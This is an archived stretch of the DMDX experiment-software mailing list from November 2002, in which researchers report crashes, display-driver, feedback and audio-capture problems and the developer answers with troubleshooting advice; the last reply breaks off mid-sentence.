text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am currently in contact with Dell about getting the appropriate display drivers... but I am having trouble finding the shortcut ""DMDX for really bad video cards"". I have looked in the site, where can I find this shortcut? Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 -------------------------------------- At 02:11 PM 11/1/2002 -0500, you wrote: >For some reason when I want to use dmdx, I get this error message: >------------------------------------------ >DMDX caused an invalid page fault in >module DMDX.EXE at 0167:00403d02. >Registers: >EAX=00000000 CS=0167 EIP=00403d02 EFLGS=00010246 >EBX=0180693c SS=016f ESP=0069f280 EBP=0069f3b8 >ECX=83700688 DS=016f ESI=0180706c FS=3bb7 >EDX=0069f3b4 ES=016f EDI=00453088 GS=0000 >Bytes at CS:EIP: >8b 01 ff 50 44 8b d8 85 c0 74 1c 53 e8 70 51 01 >Stack dump: >83700688 0069f3b4 00453088 0180706c 0180693c bffc9490 bff7b84e 00000001 >0044ae80 0069f2c8 bff75f49 00000000 0044ae80 00453088 00000008 00000101 >---------------------------- > >I have gotten this message with the previous version of Dmdx and the >new version recently released. The computer is a Pent II, Windows 98, >64 RAM, ATI 3D PRO. I have a feeling that somthing is wrong with the >harddrive, but this only appears to be affecting Dmdx as all other >programs (Word, Excell, Explorer, etc..) work fine and have no trouble >accessing files in the harddrive. Any suggestions on how to fix this >would help. Thanks. See if you can find some new display drivers. Try the new shortcut ""DMDX for really bad video cards"". /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 4 15:21:48 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA4Lx2MS026871 for ; Mon, 4 Nov 2002 14:59:02 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DC66BFB0001771E for DMDX@psy1.psych.arizona.edu; Mon, 4 Nov 2002 14:55:18 -0700 Message-Id: <5.1.0.14.2.20021104145325.00b131c0@psy1.psych.arizona.edu> Date: Mon, 04 Nov 2002 14:55:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Illigal operation In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:09 PM 11/4/2002 -0500, you wrote: >I am currently in contact with Dell about getting the appropriate >display drivers... but I am having trouble finding the shortcut ""DMDX >for really bad video cards"". I have looked in the site, where can I >find this shortcut? It's only available on versions later than 3.0.0.03. It's on your machine, click the Start button and then navigate to Programs / DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 5 09:41:34 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA5GeaMS027914 for ; Tue, 5 Nov 2002 09:40:36 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id gA58XYC25009 for dmdx@psy1.psych.arizona.edu; Tue, 5 Nov 2002 09:33:34 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id gA58XUT24989 for ; Tue, 5 Nov 2002 09:33:30 +0100 (MET) Received: from ALARIO (rec1193.psycho.univ-paris5.fr [172.21.40.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with ESMTP id JAA28610 for ; Tue, 5 Nov 2002 09:33:30 +0100 (MET) From: ""F.-Xavier ALARIO"" To: Subject: [DMDX] RE : Re: Constant picture display during an experiment? Date: Tue, 5 Nov 2002 09:33:13 +0100 Message-ID: <003101c284a5$fe10f670$c12815ac@ALARIO> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list � >I wonder if anyone out there has addressed such a � specific problem, but � >I'll be happy to read about ""presenting stimuli that � remain visible � >throughout an experiment"" � � You want to use the comma frame separator that � merges two displays as if � they were one, all displays should be merged with the white � square. Feedback also has a an only clear behind it option: � http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfbonlyclearbehind keyword.htm You can change the background color and drawing colors: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbackgroundcolorke yword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdefaultwritingcol orkeyword.htm ------------------- Yes but even if the displays are merged with the white square, when the subject's response is given, the display is cleared (since i am using the clearfeedback keyword: this is because i want the disappearence of the picture, not of the square, to be tied to the subject's response); If i specify 'only clear behind', well that still clears part of the square (a small text zone in fact). I suppose one way to do what I want would be by specifying that the feedback is not text, but the white blanck square(a bmp file) so that it shows up right after the response, is that possible? Another way i have found is to use the following script, which plays with variants of feedback to ensure a continuity of display on the screen (press spacebar to go from one trial to another, verbal response to the picture stimuli) -001 / ""vide.bmp"" /*""question.bmp""; +002 / ""vide.bmp"" / +""fixation.bmp"" / * ""Fill-A-Bell.BMP""; -003 / ""vide.bmp""/ *""question.bmp""; +004 / / ""vide.bmp"" / + ""fixation.bmp"" / * ""Fill-A-Barrel.BMP""; -005 / ""vide.bmp""/ *""question.bmp""; +006 / / ""vide.bmp"" / + ""fixation.bmp"" / * ""Fill-A-Comb.BMP""; This script has two problems, however: 1/The digital vox and keyboard inputs have some weird interaction such that as soon as you use digital vox, it triggers all the following items at random 2/The screen clearing from the feedback seems to be slow and not happening right after the subject's response but after a short although visisble delay. Any idea of why this should be so...? Again thanks a lot for your help Xavier >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 5 11:32:08 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA5I9pMS028126 for ; Tue, 5 Nov 2002 11:09:51 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DC7BD9C0000E287 for DMDX@psy1.psych.arizona.edu; Tue, 5 Nov 2002 11:06:04 -0700 Message-Id: <5.1.0.14.2.20021105105046.00b131c0@psy1.psych.arizona.edu> Date: Tue, 05 Nov 2002 11:06:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE : Re: Constant picture display during an experiment? In-Reply-To: <003101c284a5$fe10f670$c12815ac@ALARIO> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:33 AM 11/5/2002 +0100, you wrote: > � >I wonder if anyone out there has addressed such a > � specific problem, but > � >I'll be happy to read about ""presenting stimuli that > � remain visible > � >throughout an experiment"" > � > � You want to use the comma frame separator that > � merges two displays as if > � they were one, all displays should be merged with the white > � square. Feedback also has a an only clear behind it option: > � >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhfbonlyclearbehind >keyword.htm > > You can change the background color and drawing colors: > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbackgroundcolorke >yword.htm > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdefaultwritingcol >orkeyword.htm > >------------------- > >Yes but even if the displays are merged with the white square, when the >subject's response is given, the display is cleared (since i am using >the clearfeedback keyword: this is because i want the disappearence of >the picture, not of the square, to be tied to the subject's response); Good point, clearfeedback won't work for you. >If i specify 'only clear behind', well that still clears part of the >square (a small text zone in fact). > >I suppose one way to do what I want would be by specifying that the >feedback is not text, but the white blanck square(a bmp file) so that it >shows up right after the response, is that possible? Yes. You'll have to write a custom feedback routine like the one in the branching docs: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm You'll just want an item that displays your white square and returns. >Another way i have found is to use the following script, which plays >with variants of feedback to ensure a continuity of display on the >screen (press spacebar to go from one trial to another, verbal response >to the picture stimuli) > > > > > > > > > > > > > > >-001 / ""vide.bmp"" /*""question.bmp""; >+002 / ""vide.bmp"" / >+""fixation.bmp"" / * ""Fill-A-Bell.BMP""; >-003 / ""vide.bmp""/ *""question.bmp""; >+004 / / ""vide.bmp"" / >+ ""fixation.bmp"" / * ""Fill-A-Barrel.BMP""; >-005 / ""vide.bmp""/ *""question.bmp""; >+006 / / ""vide.bmp"" / >+ ""fixation.bmp"" / * ""Fill-A-Comb.BMP""; > > >This script has two problems, however: >1/The digital vox and keyboard inputs have some weird interaction such >that as soon as you use digital vox, it triggers all the following items >at random You may well have exposed a hole in the code, usually no extra mappings are made with the DigitalVOX as it binds +DigitalVOX automatically. My guess is that it's the space bar being used a negative response that's blowing things up, the Digital VOX thread expects to be the one terminating the item, I didn't consider the situation of a negative response coming in before the VOX triggers. I'll see if I can take this into account as I'm rebuilding all that code to have the DigitalVOX terminate RecordVocal. >2/The screen clearing from the feedback seems to be slow and not >happening right after the subject's response but after a short although >visisble delay. Any idea of why this should be so...? There's a feedback delay in there but if you build a custom feedback routine as outlined above you'll have control of that delay. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 02:03:49 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6936MS028931 for ; Wed, 6 Nov 2002 02:03:07 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id gA68xHB07764 for dmdx@psy1.psych.arizona.edu; Wed, 6 Nov 2002 09:59:17 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id gA68xET07749 for ; Wed, 6 Nov 2002 09:59:14 +0100 (MET) Received: from ALARIO (rec1193.psycho.univ-paris5.fr [172.21.40.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with ESMTP id JAA29292 for ; Wed, 6 Nov 2002 09:59:14 +0100 (MET) From: ""F.-Xavier ALARIO"" To: Subject: [DMDX] RE : RE : Re: Constant picture display during an experiment? Date: Wed, 6 Nov 2002 09:58:55 +0100 Message-ID: <000901c28572$bfc3ee90$c12815ac@ALARIO> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" In-Reply-To: <5.1.0.14.2.20021105105046.00b131c0@psy1.psych.arizona.edu> Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks I ll give it a try ! X � >If i specify 'only clear behind', well that still � clears part of the � >square (a small text zone in fact). � > � >I suppose one way to do what I want would be by � specifying that the � >feedback is not text, but the white blanck square(a � bmp file) so that � >it shows up right after the response, is that possible? � � Yes. You'll have to write a custom feedback � routine like the one in the � branching docs: � � http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxh � branchkeyword.htm � � You'll just want an item that displays your white � square and returns. � � >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 08:09:29 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6F8VMS029417 for ; Wed, 6 Nov 2002 08:08:32 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id gA6F4eXO032709 for ; Wed, 6 Nov 2002 16:04:41 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Wed, 06 Nov 2002 16:04:40 +0100 Message-Id: Date: Wed, 06 Nov 2002 16:04:17 +0100 From: ""Derek Eder"" To: Subject: [DMDX] instructions occasionally repeat themselves Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have had a curious recurring problem with DMDXs 3.0 and earlier on different computers -- some instructions sometimes 'play' twice. For example (see below), line 1000 can repeat itself before moving to the next line. Am I overlooking something obvious like setting the Set Visual Probe parameter? (script fragment) . . . 104/ ""6.wav"" / / ; 1000 / ""PASAT_recover.wav"" / ; 2000 / / ""end_beep.wav"" / ; Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� str�ket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYTT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 08:13:09 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6FD7MS029448 for ; Wed, 6 Nov 2002 08:13:07 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id gA6F9HXO000418 for ; Wed, 6 Nov 2002 16:09:17 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Wed, 06 Nov 2002 16:09:17 +0100 Message-Id: Date: Wed, 06 Nov 2002 16:09:04 +0100 From: ""Derek Eder"" To: Subject: [DMDX] re: pop-up PIO-12 box and Keithley drivers Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I once had a problem with a pop-up message window from Kiethley whenever I started DMDX. The problem went away when I uninstalled the Kiethley software. DMDX doesn't care and everything runs perfectly. But today I noticed that Windows (98) device manager reports the PIO-12 as a 'broken device' (or whatever Bill Gates called it). Again, DMDX doesn't care and everything runs perfectly. - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� str�ket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYTT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 08:39:40 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6FdZMS029556 for ; Wed, 6 Nov 2002 08:39:35 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gA6FZhwi026252 for ; Wed, 6 Nov 2002 08:35:45 -0700 (MST) Message-Id: <5.1.0.14.2.20021106083355.00b12878@psy1.psych.arizona.edu> Date: Wed, 06 Nov 2002 08:35:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: instructions occasionally repeat themselves In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:04 PM 11/6/2002 +0100, you wrote: >I have had a curious recurring problem with DMDXs 3.0 and earlier on >different computers -- some instructions sometimes 'play' twice. > >For example (see below), line 1000 can repeat itself before moving to the >next line. Am I overlooking something obvious like setting the Set Visual >Probe parameter? > >(script fragment) > Looks like too little of a fragment for me to determine much. Off hand without seeing your item file my guess is you've uncovered some new and extremely rare error in DMDX, I've never heard of it playing a wave file twice. I'd have to see the item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 08:41:16 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6FfEMS029581 for ; Wed, 6 Nov 2002 08:41:14 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gA6FbNwi027010 for ; Wed, 6 Nov 2002 08:37:23 -0700 (MST) Message-Id: <5.1.0.14.2.20021106083612.00b1e940@psy1.psych.arizona.edu> Date: Wed, 06 Nov 2002 08:37:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: re: pop-up PIO-12 box and Keithley drivers In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:09 PM 11/6/2002 +0100, you wrote: >I once had a problem with a pop-up message window from Kiethley whenever I >started DMDX. The problem went away when I uninstalled the Kiethley >software. DMDX doesn't care and everything runs perfectly. > >But today I noticed that Windows (98) device manager reports the PIO-12 as >a 'broken device' (or whatever Bill Gates called it). Again, DMDX doesn't >care and everything runs perfectly. That's the Keithley crap for ya. There's a reason I disparage them ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wisdom is knowing what to do with what you know. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 09:30:16 2002 Received: from broadway.montclair.edu (broadway.montclair.edu [130.68.1.252]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6G9OMS029717 for ; Wed, 6 Nov 2002 09:09:24 -0700 Received: from montclair.edu (localhost [127.0.0.1]) by broadway.montclair.edu (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H5500IA5WP97K@broadway.montclair.edu> for DMDX@psy1.psych.arizona.edu; Wed, 06 Nov 2002 11:05:33 -0500 (EST) Received: from [130.68.51.188] by broadway.montclair.edu (mshttpd); Wed, 06 Nov 2002 11:05:33 -0500 Date: Wed, 06 Nov 2002 11:05:33 -0500 From: Arturo Kiyama Subject: [DMDX] Re: Illigal operation To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I got the error message below when I ran the DMDX shortcut for bad video cards. I currently am using generic display drivers, could this be the problem? ------------------------------------------- DMDX caused an invalid page fault in Module DMDX.EXE at 0167:0043fe20. Registers: EAX=78f8f8c0 CS=0167 EIP=0043fe20 EFLGS=00010246 EBX=0069fa36 SS=016f ESP=0069f490 EBP=0069f4b8 ECX=832d2000 DS=016f ESI=00008a5a FS=0d67 EDX=e36b5b1f ES=016f EDI=0069f791 GS=0000 Bytes at CS:EIP: 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 Stack dump: 0043c6da 832cd010 832cd010 00469d76 832cd010 00000049 000000fe 00469d7a 0069f4ec 004204a5 0069f4ec 00420550 832cd010 0044f7a0 0046a98c 0000000e ------------------------------------------- At 02:09 PM 11/4/2002 -0500, you wrote: >I am currently in contact with Dell about getting the appropriate >display drivers... but I am having trouble finding the shortcut ""DMDX >for really bad video cards"". I have looked in the site, where can I >find this shortcut? Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 09:37:53 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6Gb9MS029784 for ; Wed, 6 Nov 2002 09:37:10 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id gA6GXIXO003103 for ; Wed, 6 Nov 2002 17:33:18 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Wed, 06 Nov 2002 17:33:17 +0100 Message-Id: Date: Wed, 06 Nov 2002 17:32:47 +0100 From: ""Derek Eder"" To: Subject: [DMDX] Re: TimeDX 3.0.05 international KB mappings Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The Swedish keyboard mappings correspond to the TimeDx keyboard test, i.e., #42 is the left shift key, #54 is the right shift key and #57 is the space bar. - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� str�ket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYTT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 11:33:25 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6IWkMS029983 for ; Wed, 6 Nov 2002 11:32:46 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DC90F370000D34B for DMDX@psy1.psych.arizona.edu; Wed, 6 Nov 2002 11:28:56 -0700 Message-Id: <5.1.0.14.2.20021106112847.00b13278@psy1.psych.arizona.edu> Date: Wed, 06 Nov 2002 11:28:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Illigal operation In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:05 AM 11/6/2002 -0500, you wrote: >I got the error message below when I ran the DMDX shortcut for bad >video cards. I currently am using generic display drivers, could this >be the problem? Yes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 12:06:10 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6Ii3MS030039 for ; Wed, 6 Nov 2002 11:44:03 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DC90F370000DC8F for DMDX@psy1.psych.arizona.edu; Wed, 6 Nov 2002 11:40:13 -0700 Message-Id: <5.1.0.14.2.20021106114001.00b13278@psy1.psych.arizona.edu> Date: Wed, 06 Nov 2002 11:40:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: TimeDX 3.0.05 international KB mappings In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:32 PM 11/6/2002 +0100, you wrote: >The Swedish keyboard mappings correspond to the TimeDx keyboard test, i.e., > >#42 is the left shift key, >#54 is the right shift key and >#57 is the space bar. Thanks Derek. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everyone is born a king, and most people die in exile. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 16:18:36 2002 Received: from smtp2.wiscmail.wisc.edu (donner.doit.wisc.edu [144.92.197.184]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA6NHOMS030440 for ; Wed, 6 Nov 2002 16:17:25 -0700 Received: from conversion-daemon.smtp2.doit.wisc.edu by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H5600001G8NME@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 06 Nov 2002 17:08:13 -0600 (CST) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with SMTP id <0H56000BIG9KM5@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Wed, 06 Nov 2002 17:08:08 -0600 (CST) Date: Wed, 06 Nov 2002 17:05:43 -0600 From: ""John J. Curtin"" Subject: [DMDX] more on capture lock failed In-reply-to: <5.1.0.14.2.20021023113233.00b13250@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, I have just upgraded OS to Win2K and am running a project using Recordvocal and DigitalVox. I am getting the ""capture lock failed"" error that was reported by someone else recently. I am using a creative sound blaster 5.1 platinum card. As recommended, I updated the drivers to the latest available at the creative website. Problem still exists. Portion of code below. Any further suggestions? d30 f1 ...... 0 /c; +00000001 * ""RED"" / /; +00000002 * ""BLUE"" / /; +00000003 * ""TOE"" / /; +00000004 * ""GREEN"" / /; +00000005 * ""GREEN"" / /; +00000006 * ""BLUE"" / /; +00000007 * ""RED"" / /; +00000008 * ""GREEN"" / /; ..... J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Jonathan C. Forster Sent: Wednesday, October 23, 2002 1:37 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RecordVocal Not that expect anyone to actually provide me with info but I'll ask anyway. Has anyone been using RecordVocal under Windows 2000 or XP yet? We've got some anomalous behavior from a machine down stairs that I would normally attribute to drivers but a laptop also throws error which makes me suspicious. Basically something interrupts DMDX for hundreds of ticks and causes RecordVocal to toss and error about invalid parameters to the lock function. Updating drivers on the machines which would be my normal response might be impossible because the drivers might not exist and rather than go to all the hassle of installing a known good audio device I'd like to know that someone has in fact got DirectSoundCatupre stuff (RecordVocal and DigitalVOX) functioning under 2k/XP. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 6 18:45:48 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gA71QAMS030619 for ; Wed, 6 Nov 2002 18:26:10 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gA71MFBO025634 for ; Wed, 6 Nov 2002 18:22:15 -0700 (MST) Message-Id: <5.1.0.14.2.20021106180834.00b128c0@psy1.psych.arizona.edu> Date: Wed, 06 Nov 2002 18:22:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: more on capture lock failed In-Reply-To: References: <5.1.0.14.2.20021023113233.00b13250@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:05 PM 11/6/2002 -0600, you wrote: >Jonathan, > >I have just upgraded OS to Win2K and am running a project using Recordvocal >and DigitalVox. I am getting the ""capture lock failed"" error that was >reported by someone else recently. I am using a creative sound blaster 5.1 >platinum card. As recommended, I updated the drivers to the latest >available at the creative website. Problem still exists. Portion of code >below. Any further suggestions? I'd suggest 